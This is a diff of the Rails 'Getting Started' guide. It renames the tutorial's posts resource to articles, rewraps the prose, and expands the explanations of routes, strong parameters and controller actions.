+ #
# You can have the root of your site routed with "root"
- # root "welcome#index"
+ # root 'welcome#index'
+ #
+ # ...
```
-This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root` and uncomment it. It should look something like the following:
+This is your application's _routing file_ which holds entries in a special DSL
+(domain-specific language) that tells Rails how to connect incoming requests to
+controllers and actions. This file contains many sample routes on commented
+lines, and one of them actually shows you how to connect the root of your site
+to a specific controller and action. Find the line beginning with `root` and
+uncomment it. It should look something like the following:
```ruby
-root "welcome#index"
+root 'welcome#index'
```
-The `root "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
+`root 'welcome#index'` tells Rails to map requests to the root of the
+application to the welcome controller's index action and `get 'welcome/index'`
+tells Rails to map requests to <http://localhost:3000/welcome/index> to the
+welcome controller's index action. This was created earlier when you ran the
+controller generator (`rails generate controller welcome index`).
-If you navigate to <http://localhost:3000> in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
+Launch the web server again if you stopped it to generate the controller (`rails
+server`) and navigate to <http://localhost:3000> in your browser. You'll see the
+"Hello, Rails!" message you put into `app/views/welcome/index.html.erb`,
+indicating that this new route is indeed going to `WelcomeController`'s `index`
+action and is rendering the view correctly.
TIP: For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
Getting Up and Running
----------------------
-Now that you've seen how to create a controller, an action and a view, let's create something with a bit more substance.
+Now that you've seen how to create a controller, an action and a view, let's
+create something with a bit more substance.
-In the Blog application, you will now create a new _resource_. A resource is the term used for a collection of similar objects, such as posts, people or animals. You can create, read, update and destroy items for a resource and these operations are referred to as _CRUD_ operations.
+In the Blog application, you will now create a new _resource_. A resource is the
+term used for a collection of similar objects, such as articles, people or
+animals.
+You can create, read, update and destroy items for a resource and these
+operations are referred to as _CRUD_ operations.
-Rails provides a `resources` method which can be used to declare a standard REST resource.
-Here's what `config/routes.rb` should look like after the _post resource_ is declared.
+Rails provides a `resources` method which can be used to declare a standard REST
+resource. Here's what `config/routes.rb` should look like after the
+_article resource_ is declared.
```ruby
-Blog::Application.routes.draw do
+Rails.application.routes.draw do
- resources :posts
+ resources :articles
- root "welcome#index"
+ root 'welcome#index'
end
```
-If you run `rake routes`, you'll see that all the routes for the
-standard RESTful actions.
+If you run `rake routes`, you'll see that it has defined routes for all the
+standard RESTful actions. The meaning of the prefix column (and other columns)
+will be seen later, but for now notice that Rails has inferred the
+singular form `article` and makes meaningful use of the distinction.
```bash
$ rake routes
- posts GET /posts(.:format) posts#index
- POST /posts(.:format) posts#create
- new_post GET /posts/new(.:format) posts#new
-edit_post GET /posts/:id/edit(.:format) posts#edit
- post GET /posts/:id(.:format) posts#show
- PATCH /posts/:id(.:format) posts#update
- PUT /posts/:id(.:format) posts#update
- DELETE /posts/:id(.:format) posts#destroy
- root / welcome#index
+ Prefix Verb URI Pattern Controller#Action
+ articles GET /articles(.:format) articles#index
+ POST /articles(.:format) articles#create
+ new_article GET /articles/new(.:format) articles#new
+edit_article GET /articles/:id/edit(.:format) articles#edit
+ article GET /articles/:id(.:format) articles#show
+ PATCH /articles/:id(.:format) articles#update
+ PUT /articles/:id(.:format) articles#update
+ DELETE /articles/:id(.:format) articles#destroy
+ root GET / welcome#index
```
-In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this:
+In the next section, you will add the ability to create new articles in your
+application and be able to view them. This is the "C" and the "R" from CRUD:
+creation and reading. The form for doing this will look like this:
-![The new post form](images/getting_started/new_post.png)
+![The new article form](images/getting_started/new_article.png)
-It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards.
+It will look a little basic for now, but that's ok. We'll look at improving the
+styling for it afterwards.
### Laying down the ground work
-The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. With the route already defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see a routing error:
+Firstly, you need a place within the application to create a new article. A
+great place for that would be at `/articles/new`. With the route already
+defined, requests can now be made to `/articles/new` in the application.
+Navigate to <http://localhost:3000/articles/new> and you'll see a routing
+error:
-![Another routing error, uninitialized constant PostsController](images/getting_started/routing_error_no_controller.png)
+![Another routing error, uninitialized constant ArticlesController](images/getting_started/routing_error_no_controller.png)
-This error occurs because the route needs to have a controller defined in order to serve the request. The solution to this particular problem is simple: create a controller called `PostsController`. You can do this by running this command:
+This error occurs because the route needs to have a controller defined in order
+to serve the request. The solution to this particular problem is simple: create
+a controller called `ArticlesController`. You can do this by running this
+command:
```bash
-$ rails g controller posts
+$ rails g controller articles
```
-If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller:
+If you open up the newly generated `app/controllers/articles_controller.rb`
+you'll see a fairly empty controller:
```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
end
```
-A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
+A controller is simply a class that is defined to inherit from
+`ApplicationController`.
+It's inside this class that you'll define methods that will become the actions
+for this controller. These actions will perform CRUD operations on the articles
+within our system.
+
+NOTE: There are `public`, `private` and `protected` methods in Ruby,
+but only `public` methods can be actions for controllers.
+For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/).
-If you refresh <http://localhost:3000/posts/new> now, you'll get a new error:
+If you refresh <http://localhost:3000/articles/new> now, you'll get a new error:
-![Unknown action new for PostsController!](images/getting_started/unknown_action_new_for_posts.png)
+![Unknown action new for ArticlesController!](images/getting_started/unknown_action_new_for_articles.png)
-This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process.
+This error indicates that Rails cannot find the `new` action inside the
+`ArticlesController` that you just generated. This is because when controllers
+are generated in Rails they are empty by default, unless you tell it
+your wanted actions during the generation process.
-To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this:
+To manually define an action inside a controller, all you need to do is to
+define a new method inside the controller. Open
+`app/controllers/articles_controller.rb` and inside the `ArticlesController`
+class, define a `new` method so that the controller now looks like this:
```ruby
-def new
+class ArticlesController < ApplicationController
+ def new
+ end
end
```
-With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error:
+With the `new` method defined in `ArticlesController`, if you refresh
+<http://localhost:3000/articles/new> you'll see another error:
-![Template is missing for posts/new](images/getting_started/template_is_missing_posts_new.png)
+![Template is missing for articles/new]
+(images/getting_started/template_is_missing_articles_new.png)
-You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out.
+You're getting this error now because Rails expects plain actions like this one
+to have views associated with them to display their information. With no view
+available, Rails errors out.
-In the above image, the bottom line has been truncated. Let's see what the full thing looks like:
+In the above image, the bottom line has been truncated. Let's see what the full
+thing looks like:
<blockquote>
-Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
+Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
</blockquote>
-That's quite a lot of text! Let's quickly go through and understand what each part of it does.
-
-The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`.
-
-The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English — or "en" — template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates.
-
-The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths.
-
-The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application.
-
-Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it:
+That's quite a lot of text! Let's quickly go through and understand what each
+part of it does.
+
+The first part identifies what template is missing. In this case, it's the
+`articles/new` template. Rails will first look for this template. If not found,
+then it will attempt to load a template called `application/new`. It looks for
+one here because the `ArticlesController` inherits from `ApplicationController`.
+
+The next part of the message contains a hash. The `:locale` key in this hash
+simply indicates what spoken language template should be retrieved. By default,
+this is the English - or "en" - template. The next key, `:formats` specifies the
+format of template to be served in response. The default format is `:html`, and
+so Rails is looking for an HTML template. The final key, `:handlers`, is telling
+us what _template handlers_ could be used to render our template. `:erb` is most
+commonly used for HTML templates, `:builder` is used for XML templates, and
+`:coffee` uses CoffeeScript to build JavaScript templates.
+
+The final part of this message tells us where Rails has looked for the templates.
+Templates within a basic Rails application like this are kept in a single
+location, but in more complex applications it could be many different paths.
+
+The simplest template that would work in this case would be one located at
+`app/views/articles/new.html.erb`. The extension of this file name is key: the
+first extension is the _format_ of the template, and the second extension is the
+_handler_ that will be used. Rails is attempting to find a template called
+`articles/new` within `app/views` for the application. The format for this
+template can only be `html` and the handler must be one of `erb`, `builder` or
+`coffee`. Because you want to create a new HTML form, you will be using the `ERB`
+language. Therefore the file should be called `articles/new.html.erb` and needs
+to be located inside the `app/views` directory of the application.
+
+Go ahead now and create a new file at `app/views/articles/new.html.erb` and
+write this content in it:
```html
-<h1>New Post</h1>
+<h1>New Article</h1>
```
-When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
+When you refresh <http://localhost:3000/articles/new> you'll now see that the
+page has a title. The route, controller, action and view are now working
+harmoniously! It's time to create the form for a new article.
### The first form
To create a form within this template, you will use a <em>form
builder</em>. The primary form builder for Rails is provided by a helper
-method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`:
+method called `form_for`. To use this method, add this code into
+`app/views/articles/new.html.erb`:
```html+erb
-<%= form_for :post do |f| %>
+<%= form_for :article do |f| %>
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -374,42 +523,76 @@ method called `form_for`. To use this method, add this code into `app/views/post
<% end %>
```
-If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
+If you refresh the page now, you'll see the exact same form as in the example.
+Building forms in Rails is really just that easy!
When you call `form_for`, you pass it an identifying object for this
-form. In this case, it's the symbol `:post`. This tells the `form_for`
+form. In this case, it's the symbol `:article`. This tells the `form_for`
helper what this form is for. Inside the block for this method, the
-`FormBuilder` object — represented by `f` — is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form.
+`FormBuilder` object - represented by `f` - is used to build two labels and two
+text fields, one each for the title and text of an article. Finally, a call to
+`submit` on the `f` object will create a submit button for the form.
-There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
+There's one problem with this form though. If you inspect the HTML that is
+generated, by viewing the source of the page, you will see that the `action`
+attribute for the form is pointing at `/articles/new`. This is a problem because
+this route goes to the very page that you're on right at the moment, and that
+route should only be used to display the form for a new article.
The form needs to use a different URL in order to go somewhere else.
This can be done quite simply with the `:url` option of `form_for`.
Typically in Rails, the action that is used for new form submissions
like this is called "create", and so the form should be pointed to that action.
-Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this:
+Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like
+this:
```html+erb
-<%= form_for :post, url: posts_path do |f| %>
+<%= form_for :article, url: articles_path do |f| %>
```
-In this example, the `posts_path` helper is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route.
+In this example, the `articles_path` helper is passed to the `:url` option.
+To see what Rails will do with this, we look back at the output of
+`rake routes`:
+
+```bash
+$ rake routes
+ Prefix Verb URI Pattern Controller#Action
+ articles GET /articles(.:format) articles#index
+ POST /articles(.:format) articles#create
+ new_article GET /articles/new(.:format) articles#new
+edit_article GET /articles/:id/edit(.:format) articles#edit
+ article GET /articles/:id(.:format) articles#show
+ PATCH /articles/:id(.:format) articles#update
+ PUT /articles/:id(.:format) articles#update
+ DELETE /articles/:id(.:format) articles#destroy
+ root GET / welcome#index
+```
-By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web.
+The `articles_path` helper tells Rails to point the form to the URI Pattern
+associated with the `articles` prefix; and the form will (by default) send a
+`POST` request to that route. This is associated with the `create` action of
+the current controller, the `ArticlesController`.
-With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error:
+With the form and its associated route defined, you will be able to fill in the
+form and then click the submit button to begin the process of creating a new
+article, so go ahead and do that. When you submit the form, you should see a
+familiar error:
-![Unknown action create for PostsController](images/getting_started/unknown_action_create_for_posts.png)
+![Unknown action create for ArticlesController]
+(images/getting_started/unknown_action_create_for_articles.png)
-You now need to create the `create` action within the `PostsController` for this to work.
+You now need to create the `create` action within the `ArticlesController` for
+this to work.
-### Creating posts
+### Creating articles
-To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action:
+To make the "Unknown action" go away, you can define a `create` action within
+the `ArticlesController` class in `app/controllers/articles_controller.rb`,
+underneath the `new` action, as shown:
```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
def new
end
@@ -418,70 +601,80 @@ class PostsController < ApplicationController
end
```
-If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database.
+If you re-submit the form now, you'll see another familiar error: a template is
+missing. That's ok, we can ignore that for now. What the `create` action should
+be doing is saving our new article to the database.
-When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this:
+When a form is submitted, the fields of the form are sent to Rails as
+_parameters_. These parameters can then be referenced inside the controller
+actions, typically to perform a particular task. To see what these parameters
+look like, change the `create` action to this:
```ruby
def create
- render text: params[:post].inspect
+ render plain: params[:article].inspect
end
```
-The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns an `ActiveSupport::HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
+The `render` method here is taking a very simple hash with a key of `plain` and
+value of `params[:article].inspect`. The `params` method is the object which
+represents the parameters (or fields) coming in from the form. The `params`
+method returns an `ActiveSupport::HashWithIndifferentAccess` object, which
+allows you to access the keys of the hash using either strings or symbols. In
+this situation, the only parameters that matter are the ones from the form.
-If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
+If you re-submit the form one more time you'll now no longer get the missing
+template error. Instead, you'll see something that looks like the following:
```ruby
-{"title"=>"First post!", "text"=>"This is my first post."}
+{"title"=>"First article!", "text"=>"This is my first article."}
```
-This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
+This action is now displaying the parameters for the article that are coming in
+from the form. However, this isn't really all that helpful. Yes, you can see the
+parameters but nothing in particular is being done with them.
-### Creating the Post model
+### Creating the Article model
-Models in Rails use a singular name, and their corresponding database tables use
-a plural name. Rails provides a generator for creating models, which
-most Rails developers tend to use when creating new models.
-To create the new model, run this command in your terminal:
+Models in Rails use a singular name, and their corresponding database tables
+use a plural name. Rails provides a generator for creating models, which most
+Rails developers tend to use when creating new models. To create the new model,
+run this command in your terminal:
```bash
-$ rails generate model Post title:string text:text
+$ rails generate model Article title:string text:text
```
-With that command we told Rails that we want a `Post` model, together
+With that command we told Rails that we want a `Article` model, together
with a _title_ attribute of type string, and a _text_ attribute
-of type text. Those attributes are automatically added to the `posts`
-table in the database and mapped to the `Post` model.
+of type text. Those attributes are automatically added to the `articles`
+table in the database and mapped to the `Article` model.
-Rails responded by creating a bunch of files. For
-now, we're only interested in `app/models/post.rb` and
-`db/migrate/20120419084633_create_posts.rb` (your name could be a bit
-different). The latter is responsible
-for creating the database structure, which is what we'll look at next.
+Rails responded by creating a bunch of files. For now, we're only interested
+in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb`
+(your name could be a bit different). The latter is responsible for creating
+the database structure, which is what we'll look at next.
-TIP: Active Record is smart enough to automatically map column names to
-model attributes, which means you don't have to declare attributes
-inside Rails models, as that will be done automatically by Active
-Record.
+TIP: Active Record is smart enough to automatically map column names to model
+attributes, which means you don't have to declare attributes inside Rails
+models, as that will be done automatically by Active Record.
### Running a Migration
-As we've just seen, `rails generate model` created a _database
-migration_ file inside the `db/migrate` directory.
-Migrations are Ruby classes that are designed to make it simple to
-create and modify database tables. Rails uses rake commands to run migrations,
-and it's possible to undo a migration after it's been applied to your database.
-Migration filenames include a timestamp to ensure that they're processed in the
-order that they were created.
+As we've just seen, `rails generate model` created a _database migration_ file
+inside the `db/migrate` directory. Migrations are Ruby classes that are
+designed to make it simple to create and modify database tables. Rails uses
+rake commands to run migrations, and it's possible to undo a migration after
+it's been applied to your database. Migration filenames include a timestamp to
+ensure that they're processed in the order that they were created.
-If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember,
+If you look in the `db/migrate/20140120191729_create_articles.rb` file (remember,
yours will have a slightly different name), here's what you'll find:
```ruby
-class CreatePosts < ActiveRecord::Migration
+class CreateArticles < ActiveRecord::Migration
def change
- create_table :posts do |t|
+ create_table :articles do |t|
t.string :title
t.text :text
@@ -491,15 +684,15 @@ class CreatePosts < ActiveRecord::Migration
end
```
-The above migration creates a method named `change` which will be called when you
-run this migration. The action defined in this method is also reversible, which
-means Rails knows how to reverse the change made by this migration, in case you
-want to reverse it later. When you run this migration it will create a
-`posts` table with one string column and a text column. It also creates two
-timestamp fields to allow Rails to track post creation and update times.
+The above migration creates a method named `change` which will be called when
+you run this migration. The action defined in this method is also reversible,
+which means Rails knows how to reverse the change made by this migration,
+in case you want to reverse it later. When you run this migration it will create
+an `articles` table with one string column and a text column. It also creates
+two timestamp fields to allow Rails to track article creation and update times.
-TIP: For more information about migrations, refer to [Rails Database
-Migrations](migrations.html).
+TIP: For more information about migrations, refer to [Rails Database Migrations]
+(migrations.html).
At this point, you can use a rake command to run the migration:
@@ -507,14 +700,14 @@ At this point, you can use a rake command to run the migration:
$ rake db:migrate
```
-Rails will execute this migration command and tell you it created the Posts
+Rails will execute this migration command and tell you it created the Articles
table.
```bash
-== CreatePosts: migrating ====================================================
--- create_table(:posts)
+== CreateArticles: migrating ==================================================
+-- create_table(:articles)
-> 0.0019s
-== CreatePosts: migrated (0.0020s) ===========================================
+== CreateArticles: migrated (0.0020s) =========================================
```
NOTE. Because you're working in the development environment by default, this
@@ -525,128 +718,182 @@ invoking the command: `rake db:migrate RAILS_ENV=production`.
### Saving data in the controller
-Back in `posts_controller`, we need to change the `create` action
-to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb`
-and change the `create` action to look like this:
+Back in `ArticlesController`, we need to change the `create` action
+to use the new `Article` model to save the data in the database.
+Open `app/controllers/articles_controller.rb` and change the `create` action to
+look like this:
```ruby
def create
- @post = Post.new(post_params)
-
- @post.save
- redirect_to @post
-end
+ @article = Article.new(params[:article])
-private
- def post_params
- params.require(:post).permit(:title, :text)
- end
+ @article.save
+ redirect_to @article
+end
```
Here's what's going on: every Rails model can be initialized with its
respective attributes, which are automatically mapped to the respective
database columns. In the first line we do just that (remember that
-`post_params` contains the attributes we're interested in). Then,
-`@post.save` is responsible for saving the model in the database.
-Finally, we redirect the user to the `show` action,
-which we'll define later.
+`params[:article]` contains the attributes we're interested in). Then,
+`@article.save` is responsible for saving the model in the database. Finally,
+we redirect the user to the `show` action, which we'll define later.
-TIP: Note that `def post_params` is private. This new approach prevents an attacker from setting the model's attributes by manipulating the hash passed to the model. For more information, refer to [this blog post about Strong Parameters](http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+TIP: As we'll see later, `@article.save` returns a boolean indicating whether
+the article was saved or not.
-TIP: As we'll see later, `@post.save` returns a boolean indicating
-whether the model was saved or not.
+If you now go to <http://localhost:3000/articles/new> you'll *almost* be able
+to create an article. Try it! You should get an error that looks like this:
-### Showing Posts
+![Forbidden attributes for new article]
+(images/getting_started/forbidden_attributes_for_new_article.png)
-If you submit the form again now, Rails will complain about not finding
-the `show` action. That's not very useful though, so let's add the
-`show` action before proceeding.
+Rails has several security features that help you write secure applications,
+and you're running into one of them now. This one is called `[strong_parameters]
+(http://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)`,
+which requires us to tell Rails exactly which parameters are allowed into our
+controller actions.
+
+Why do you have to bother? The ability to grab and automatically assign all
+controller parameters to your model in one shot makes the programmer's job
+easier, but this convenience also allows malicious use. What if a request to
+the server was crafted to look like a new article form submit but also included
+extra fields with values that violated your applications integrity? They would
+be 'mass assigned' into your model and then into the database along with the
+good stuff - potentially breaking your application or worse.
+
+We have to whitelist our controller parameters to prevent wrongful mass
+assignment. In this case, we want to both allow and require the `title` and
+`text` parameters for valid use of `create`. The syntax for this introduces
+`require` and `permit`. The change will involve one line in the `create` action:
```ruby
-post GET /posts/:id(.:format) posts#show
+ @article = Article.new(params.require(:article).permit(:title, :text))
+```
+
+This is often factored out into its own method so it can be reused by multiple
+actions in the same controller, for example `create` and `update`. Above and
+beyond mass assignment issues, the method is often made `private` to make sure
+it can't be called outside its intended context. Here is the result:
+
+```ruby
+def create
+ @article = Article.new(article_params)
+
+ @article.save
+ redirect_to @article
+end
+
+private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
+```
+
+TIP: For more information, refer to the reference above and
+[this blog article about Strong Parameters]
+(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+
+### Showing Articles
+
+If you submit the form again now, Rails will complain about not finding the
+`show` action. That's not very useful though, so let's add the `show` action
+before proceeding.
+
+As we have seen in the output of `rake routes`, the route for `show` action is
+as follows:
+
+```
+article GET /articles/:id(.:format) articles#show
```
The special syntax `:id` tells rails that this route expects an `:id`
-parameter, which in our case will be the id of the post.
+parameter, which in our case will be the id of the article.
As we did before, we need to add the `show` action in
-`app/controllers/posts_controller.rb` and its respective view.
+`app/controllers/articles_controller.rb` and its respective view.
+
+NOTE: A frequent practice is to place the standard CRUD actions in each
+controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update`
+and `destroy`. You may use any order you choose, but keep in mind that these
+are public methods; as mentioned earlier in this guide, they must be placed
+before any private or protected method in the controller in order to work.
+
+Given that, let's add the `show` action, as follows:
```ruby
-def show
- @post = Post.find(params[:id])
-end
+class ArticlesController < ApplicationController
+ def show
+ @article = Article.find(params[:id])
+ end
+
+ def new
+ end
+
+ # snipped for brevity
```
-A couple of things to note. We use `Post.find` to find the post we're
-interested in. We also use an instance variable (prefixed by `@`) to
-hold a reference to the post object. We do this because Rails will pass all instance
+A couple of things to note. We use `Article.find` to find the article we're
+interested in, passing in `params[:id]` to get the `:id` parameter from the
+request. We also use an instance variable (prefixed by `@`) to hold a
+reference to the article object. We do this because Rails will pass all instance
variables to the view.
-Now, create a new file `app/views/posts/show.html.erb` with the following
+Now, create a new file `app/views/articles/show.html.erb` with the following
content:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
```
-If you now go to
-<http://localhost:3000/posts/new> you'll *almost* be able to create a post. Try
-it! You should get an error that looks like this:
+With this change, you should finally be able to create new articles.
+Visit <http://localhost:3000/articles/new> and give it a try!
-![Forbidden attributes for new post](images/getting_started/forbidden_attributes_for_new_post.png)
+![Show action for articles](images/getting_started/show_action_for_articles.png)
-Rails has several security features that help you write secure applications,
-and you're running into one of them now. This one is called
-'strong_parameters,' which requires us to tell Rails exactly which parameters
-we want to accept in our controllers. In this case, we want to allow the
-'title' and 'text' parameters, so change your `create` controller action to
-look like this:
+### Listing all articles
-```
- def create
- @post = Post.new(params[:post].permit(:title, :text))
+We still need a way to list all our articles, so let's do that.
+The route for this as per output of `rake routes` is:
- @post.save
- redirect_to @post
- end
+```
+articles GET /articles(.:format) articles#index
```
-See the `permit`? It allows us to accept both `title` and `text` in this
-action. With this change, you should finally be able to create new `Post`s.
-Visit <http://localhost:3000/posts/new> and give it a try!
-
-![Show action for posts](images/getting_started/show_action_for_posts.png)
-
-### Listing all posts
-
-We still need a way to list all our posts, so let's do that.
-We'll use a specific route from `config/routes.rb`:
+Add the corresponding `index` action for that route inside the
+`ArticlesController` in the `app/controllers/articles_controller.rb` file.
+When we write an `index` action, the usual practice is to place it as the
+first method in the controller. Let's do it:
```ruby
-posts GET /posts(.:format) posts#index
-```
+class ArticlesController < ApplicationController
+ def index
+ @articles = Article.all
+ end
-And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file:
+ def show
+ @article = Article.find(params[:id])
+ end
-```ruby
-def index
- @posts = Post.all
-end
+ def new
+ end
+
+ # snipped for brevity
```
-And then finally a view for this action, located at `app/views/posts/index.html.erb`:
+And then finally, add the view for this action, located at
+`app/views/articles/index.html.erb`:
```html+erb
-<h1>Listing posts</h1>
+<h1>Listing articles</h1>
<table>
<tr>
@@ -654,155 +901,174 @@ And then finally a view for this action, located at `app/views/posts/index.html.
<th>Text</th>
</tr>
- <% @posts.each do |post| %>
+ <% @articles.each do |article| %>
<tr>
- <td><%= post.title %></td>
- <td><%= post.text %></td>
+ <td><%= article.title %></td>
+ <td><%= article.text %></td>
</tr>
<% end %>
</table>
```
-Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created.
+Now if you go to `http://localhost:3000/articles` you will see a list of all the
+articles that you have created.
### Adding links
-You can now create, show, and list posts. Now let's add some links to
+You can now create, show, and list articles. Now let's add some links to
navigate through pages.
Open `app/views/welcome/index.html.erb` and modify it as follows:
```html+erb
<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", controller: "posts" %>
+<%= link_to 'My Blog', controller: 'articles' %>
```
The `link_to` method is one of Rails' built-in view helpers. It creates a
hyperlink based on text to display and where to go - in this case, to the path
-for posts.
+for articles.
-Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
+Let's add links to the other views as well, starting with adding this
+"New Article" link to `app/views/articles/index.html.erb`, placing it above the
+`<table>` tag:
```erb
-<%= link_to 'New post', new_post_path %>
+<%= link_to 'New article', new_article_path %>
```
-This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template — `app/views/posts/new.html.erb` — to go back to the `index` action. Do this by adding this underneath the form in this template:
+This link will allow you to bring up the form that lets you create a new article.
+
+Now, add another link in `app/views/articles/new.html.erb`, underneath the
+form, to go back to the `index` action:
```erb
-<%= form_for :post do |f| %>
+<%= form_for :article, url: articles_path do |f| %>
...
<% end %>
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
```
-Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again:
+Finally, add a link to the `app/views/articles/show.html.erb` template to
+go back to the `index` action as well, so that people who are viewing a single
+article can go back and view the whole list again:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
```
-TIP: If you want to link to an action in the same controller, you don't
-need to specify the `:controller` option, as Rails will use the current
-controller by default.
+TIP: If you want to link to an action in the same controller, you don't need to
+specify the `:controller` option, as Rails will use the current controller by
+default.
TIP: In development mode (which is what you're working in by default), Rails
reloads your application with every browser request, so there's no need to stop
and restart the web server when a change is made.
-### Allowing the update of fields
+### Adding Some Validation
-The model file, `app/models/post.rb` is about as simple as it can get:
+The model file, `app/models/article.rb` is about as simple as it can get:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
end
```
-There isn't much to this file - but note that the `Post` class inherits from
+There isn't much to this file - but note that the `Article` class inherits from
`ActiveRecord::Base`. Active Record supplies a great deal of functionality to
your Rails models for free, including basic database CRUD (Create, Read, Update,
Destroy) operations, data validation, as well as sophisticated search support
and the ability to relate multiple models to one another.
-### Adding Some Validation
-
Rails includes methods to help you validate the data that you send to models.
-Open the `app/models/post.rb` file and edit it:
+Open the `app/models/article.rb` file and edit it:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
validates :title, presence: true,
length: { minimum: 5 }
end
```
-These changes will ensure that all posts have a title that is at least five
+These changes will ensure that all articles have a title that is at least five
characters long. Rails can validate a variety of conditions in a model,
including the presence or uniqueness of columns, their format, and the
existence of associated objects. Validations are covered in detail in [Active
